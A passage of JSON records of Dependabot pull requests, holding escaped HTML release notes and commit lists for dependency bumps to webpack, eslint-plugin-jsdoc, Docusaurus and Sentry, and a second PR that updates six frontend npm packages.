href=\"https://redirect.github.com/webpack/webpack/pull/21323\"\u003e#21323\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eReduce HTML parser memory by storing the AST in struct-of-arrays form. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21331\"\u003e#21331\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eKey the provided-exports cache on a lazy barrel's still-lazy re-export targets. (by \u003ca href=\"https://github.com/hai-x\"\u003e\u003ccode\u003e@​hai-x\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21326\"\u003e#21326\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eDefault \u003ccode\u003eoutput.globalObject\u003c/code\u003e to \u003ccode\u003eglobalThis\u003c/code\u003e for universal targets. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21314\"\u003e#21314\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ePass through \u003ccode\u003enew URL(...)\u003c/code\u003e directory references instead of resolving them. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21312\"\u003e#21312\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev5.108.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eSpeed up CSS parsing and reduce CSS AST node memory. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21285\"\u003e#21285\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix HMR codegen crash for harmony accept with unresolved imports. (by \u003ca href=\"https://github.com/xiaoxiaojx\"\u003e\u003ccode\u003e@​xiaoxiaojx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21302\"\u003e#21302\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMatch harmony accept dependencies by module reference so HMR codegen handles imports without a module or chunk id. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21303\"\u003e#21303\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev5.108.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix lazy barrel deferral of ungrouped side-effect imports. (by \u003ca href=\"https://github.com/hai-x\"\u003e\u003ccode\u003e@​hai-x\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21291\"\u003e#21291\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRespect the \u003ccode\u003enode:\u003c/code\u003e prefix for node.js core modules used as externals. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21286\"\u003e#21286\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev5.108.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix invalid property access for escaped namespace imports with multi-character mangled export names. (by \u003ca href=\"https://github.com/xiaoxiaojx\"\u003e\u003ccode\u003e@​xiaoxiaojx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21280\"\u003e#21280\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd frames to ProfilingPlugin TracingStartedInBrowser event so the trace loads in Chrome DevTools. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21269\"\u003e#21269\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev5.108.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTreat top-level await and \u003ccode\u003eimport.meta\u003c/code\u003e as ES module markers, matching Node.js syntax detection so no explicit module type is needed. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21218\"\u003e#21218\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/webpack/webpack/blob/main/CHANGELOG.md\"\u003ewebpack's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.108.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eSpeed up non-CSS-Modules parsing by not building unused selector AST nodes. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21324\"\u003e#21324\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eSpeed up non-CSS-Modules CSS parsing by dropping value tokens nothing reads. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21324\"\u003e#21324\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eResolve HTML asset URLs against the document \u003ccode\u003e\u0026lt;base href\u0026gt;\u003c/code\u003e. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21329\"\u003e#21329\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd HTML integration tests: generateError output, ignored src, null-char parse. (by \u003ca href=\"https://github.com/aryanraj45\"\u003e\u003ccode\u003e@​aryanraj45\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21328\"\u003e#21328\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eReduce CPU and memory overhead of HTML and CSS parsing and code generation. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21332\"\u003e#21332\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eReduce HTML parser memory and CPU by skipping unused AST nodes. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21323\"\u003e#21323\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eReduce HTML parser memory by storing the AST in struct-of-arrays form. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21331\"\u003e#21331\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eKey the provided-exports cache on a lazy barrel's still-lazy re-export targets. (by \u003ca href=\"https://github.com/hai-x\"\u003e\u003ccode\u003e@​hai-x\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21326\"\u003e#21326\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eDefault \u003ccode\u003eoutput.globalObject\u003c/code\u003e to \u003ccode\u003eglobalThis\u003c/code\u003e for universal targets. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21314\"\u003e#21314\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ePass through \u003ccode\u003enew URL(...)\u003c/code\u003e directory references instead of resolving them. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21312\"\u003e#21312\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.108.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eSpeed up CSS parsing and reduce CSS AST node memory. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21285\"\u003e#21285\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix HMR codegen crash for harmony accept with unresolved imports. (by \u003ca href=\"https://github.com/xiaoxiaojx\"\u003e\u003ccode\u003e@​xiaoxiaojx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21302\"\u003e#21302\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMatch harmony accept dependencies by module reference so HMR codegen handles imports without a module or chunk id. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21303\"\u003e#21303\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.108.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix lazy barrel deferral of ungrouped side-effect imports. (by \u003ca href=\"https://github.com/hai-x\"\u003e\u003ccode\u003e@​hai-x\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21291\"\u003e#21291\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRespect the \u003ccode\u003enode:\u003c/code\u003e prefix for node.js core modules used as externals. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21286\"\u003e#21286\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.108.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix invalid property access for escaped namespace imports with multi-character mangled export names. (by \u003ca href=\"https://github.com/xiaoxiaojx\"\u003e\u003ccode\u003e@​xiaoxiaojx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21280\"\u003e#21280\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd frames to ProfilingPlugin TracingStartedInBrowser event so the trace loads in Chrome DevTools. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21269\"\u003e#21269\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/bb9ccfd32b8059819204a48bdb5436c9266dcdf0\"\u003e\u003ccode\u003ebb9ccfd\u003c/code\u003e\u003c/a\u003e chore(release): new release (\u003ca href=\"https://redirect.github.com/webpack/webpack/issues/21319\"\u003e#21319\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/76390666e9dcf1cb8e0080db9eccafbdb7f53c2c\"\u003e\u003ccode\u003e7639066\u003c/code\u003e\u003c/a\u003e fix: invalidate provided-exports cache with lazy barrel (\u003ca href=\"https://redirect.github.com/webpack/webpack/issues/21326\"\u003e#21326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/ae28c5421263a001fe1901b7374bd26797658bca\"\u003e\u003ccode\u003eae28c54\u003c/code\u003e\u003c/a\u003e perf: reduce CPU and memory overhead of the HTML and CSS pipelines (\u003ca href=\"https://redirect.github.com/webpack/webpack/issues/21332\"\u003e#21332\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/e6fb5473224f4cf574e907019499d99b44282d2b\"\u003e\u003ccode\u003ee6fb547\u003c/code\u003e\u003c/a\u003e perf: re-encode the HTML AST as struct-of-arrays behind a path-based visitor ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/5ce1c22edd2f6af4198c4163442d40e97e336060\"\u003e\u003ccode\u003e5ce1c22\u003c/code\u003e\u003c/a\u003e fix(html): resolve asset URLs against \u0026lt;base href\u0026gt; (\u003ca href=\"https://redirect.github.com/webpack/webpack/issues/21329\"\u003e#21329\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/0e43c4ac179173e85a4392722e601743e7c04591\"\u003e\u003ccode\u003e0e43c4a\u003c/code\u003e\u003c/a\u003e test(html): cover generateError, ignored-source, and null-character parse pat...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/cebd7935a9616f4c3460b9e197f3cca199710192\"\u003e\u003ccode\u003ecebd793\u003c/code\u003e\u003c/a\u003e refactor: build export-presence guards from a lazy boolean formula (\u003ca href=\"https://redirect.github.com/webpack/webpack/issues/21320\"\u003e#21320\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/c2628cf7c3549b54ed08bf68914f39affa63503b\"\u003e\u003ccode\u003ec2628cf\u003c/code\u003e\u003c/a\u003e fix: don't resolve new URL() directory references as modules (\u003ca href=\"https://redirect.github.com/webpack/webpack/issues/21312\"\u003e#21312\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/00d8b2f8863fb582fd0cd510e15f4de6879ade31\"\u003e\u003ccode\u003e00d8b2f\u003c/code\u003e\u003c/a\u003e perf: speed up non-CSS-Modules CSS parsing by skipping unused AST work (\u003ca href=\"https://redirect.github.com/webpack/webpack/issues/21324\"\u003e#21324\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/webpack/webpack/commit/f7a3f6d9e2276631ca67cf4636f504e5d2f9c13a\"\u003e\u003ccode\u003ef7a3f6d\u003c/code\u003e\u003c/a\u003e perf: reduce HTML parser memory and CPU with parser-level skip options (\u003ca href=\"https://redirect.github.com/webpack/webpack/issues/21323\"\u003e#21323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/webpack/webpack/compare/v5.107.2...v5.108.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint-plugin-jsdoc` from 63.0.11 to 63.0.13\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gajus/eslint-plugin-jsdoc/releases\"\u003eeslint-plugin-jsdoc's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev63.0.13\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/gajus/eslint-plugin-jsdoc/compare/v63.0.12...v63.0.13\"\u003e63.0.13\u003c/a\u003e (2026-07-10)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efailing pages build and deployment (\u003ca href=\"https://github.com/gajus/eslint-plugin-jsdoc/commit/3728347dea9e6cb0b8f3dec069df2a4654e7a2d6\"\u003e3728347\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev63.0.12\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/gajus/eslint-plugin-jsdoc/compare/v63.0.11...v63.0.12\"\u003e63.0.12\u003c/a\u003e (2026-07-06)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCJS builds; fixes \u003ca href=\"https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1719\"\u003e#1719\u003c/a\u003e (\u003ca href=\"https://github.com/gajus/eslint-plugin-jsdoc/commit/df5813ca8fc1362e4ffc06f5ae2a72a3f70f3fb5\"\u003edf5813c\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gajus/eslint-plugin-jsdoc/commit/3728347dea9e6cb0b8f3dec069df2a4654e7a2d6\"\u003e\u003ccode\u003e3728347\u003c/code\u003e\u003c/a\u003e fix: failing pages build and deployment\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gajus/eslint-plugin-jsdoc/commit/df5813ca8fc1362e4ffc06f5ae2a72a3f70f3fb5\"\u003e\u003ccode\u003edf5813c\u003c/code\u003e\u003c/a\u003e fix: CJS builds; fixes \u003ca href=\"https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1719\"\u003e#1719\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/gajus/eslint-plugin-jsdoc/compare/v63.0.11...v63.0.13\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@docusaurus/core` from 3.10.1 to 3.10.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/facebook/docusaurus/releases\"\u003e@​docusaurus/core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.10.2 (2026-07-10)\u003c/h2\u003e\n\u003cp\u003eBackport and cherry-pick commits from main for v3.10.2 patch release:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e[fix(bundler): do not import \u003ccode\u003e@swc/html\u003c/code\u003e, fix StackBlitz playground \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12055\"\u003e#12055\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12055\"\u003efacebook/docusaurus#12055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(core): use locale url in site config \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12054\"\u003e#12054\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12054\"\u003efacebook/docusaurus#12054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(theme-classic): remove redundant sidebar label titles \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/11966\"\u003e#11966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/11966\"\u003efacebook/docusaurus#11966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(mdx-loader): avoid transforming dotted directory links into asset… \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/11944\"\u003e#11944\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/11944\"\u003efacebook/docusaurus#11944\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(dev-server): for HTTPS, support non-RSA TLS certs \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12065\"\u003e#12065\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12065\"\u003efacebook/docusaurus#12065\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(utils): fix \u003ccode\u003eextractLeadingEmoji()\u003c/code\u003e edge cases \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12100\"\u003e#12100\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12100\"\u003efacebook/docusaurus#12100\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(gtag.js, faster): Fix StackBlitz, vendor \u003ccode\u003e@types/gtag.js\u003c/code\u003e, upgrade \u003ccode\u003e@swc/html\u003c/code\u003e \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12080\"\u003e#12080\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12080\"\u003efacebook/docusaurus#12080\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(create-docusaurus): init template README should use npm commands by default \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12138\"\u003e#12138\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12138\"\u003efacebook/docusaurus#12138\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(cli): \u003ccode\u003edocusaurus serve\u003c/code\u003e should pass \u003ccode\u003e--host\u003c/code\u003e to \u003ccode\u003eserver.listen()\u003c/code\u003e \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12127\"\u003e#12127\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12127\"\u003efacebook/docusaurus#12127\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(core): bump detect-port to v2.1, fix pnpm \u003ccode\u003etrustPolicy\u003c/code\u003e downgrade issue \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12012\"\u003e#12012\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12012\"\u003efacebook/docusaurus#12012\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(i18n): complete Spanish translations for theme-common and theme-l… \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12180\"\u003e#12180\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12180\"\u003efacebook/docusaurus#12180\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[chore(deps): migrate to \u003ccode\u003e@11ty/gray-matter\u003c/code\u003e \u003ca href=\"https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus/issues/12181\"\u003e#12181\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/facebook/docusaurus/pull/12181\"\u003efacebook/docusaurus#12181\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[fix(core): fix BaseUrlIssueBanne...\n\n_Description has been truncated_","html_url":"https://github.com/stellar/freighter/pull/2912","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/stellar%2Ffreighter/issues/2912","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/2912/packages"},{"uuid":"4920657453","node_id":"PR_kwDOQedBh87zcBgK","number":652,"state":"open","title":"chore(deps): bump the npm-frontend-patch-minor group in /frontend with 6 updates","user":"dependabot[bot]","labels":["dependencies","type:chore","area:frontend","area:ci"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-19T00:34:18.000Z","updated_at":"2026-07-19T00:34:27.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm-frontend-patch-minor","update_count":6,"packages":[{"name":"@sentry/browser","old_version":"10.65.0","new_version":"10.66.0","repository_url":"https://github.com/getsentry/sentry-javascript"},{"name":"libphonenumber-js","old_version":"1.13.8","new_version":"1.13.9"},{"name":"@chromatic-com/playwright","old_version":"0.14.10","new_version":"0.14.11","repository_url":"https://github.com/chromaui/chromatic-e2e"},{"name":"autoprefixer","old_version":"10.5.2","new_version":"10.5.4","repository_url":"https://github.com/postcss/autoprefixer"},{"name":"postcss","old_version":"8.5.17","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"typescript-eslint","old_version":"8.63.0","new_version":"8.64.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"}],"path":"/frontend","ecosystem":"npm"},"body":"Bumps the npm-frontend-patch-minor group in /frontend with 6 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@sentry/browser](https://github.com/getsentry/sentry-javascript) | `10.65.0` | `10.66.0` |\n| [libphonenumber-js](https://gitlab.com/catamphetamine/libphonenumber-js) | `1.13.8` | `1.13.9` |\n| [@chromatic-com/playwright](https://github.com/chromaui/chromatic-e2e/tree/HEAD/packages/playwright) | `0.14.10` | `0.14.11` |\n| [autoprefixer](https://github.com/postcss/autoprefixer) | `10.5.2` | `10.5.4` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.17` | `8.5.19` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.63.0` | `8.64.0` |\n\nUpdates `@sentry/browser` from 10.65.0 to 10.66.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/getsentry/sentry-javascript/releases\"\u003e@​sentry/browser's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.66.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(node-core): Deprecate \u003ccode\u003e@sentry/node-core\u003c/code\u003e package (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22285\"\u003e#22285\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(tanstackstart): Deprecate \u003ccode\u003e@sentry/tanstackstart\u003c/code\u003e package (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22284\"\u003e#22284\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edeps(server-utils): bump \u003ccode\u003e@​apm-js-collab/code-transformer\u003c/code\u003e and tracing-hooks (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22172\"\u003e#22172\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(bun): Add \u003ccode\u003einitWithoutDefaultIntegrations\u003c/code\u003e and \u003ccode\u003egetDefaultIntegrationsWithoutPerformance\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22036\"\u003e#22036\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(bundlers): Add orchestrion bundler plugins (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22124\"\u003e#22124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(cloudflare): Support Cloudflare types v5 \u0026amp; newer wrangler versions (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22180\"\u003e#22180\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(core): 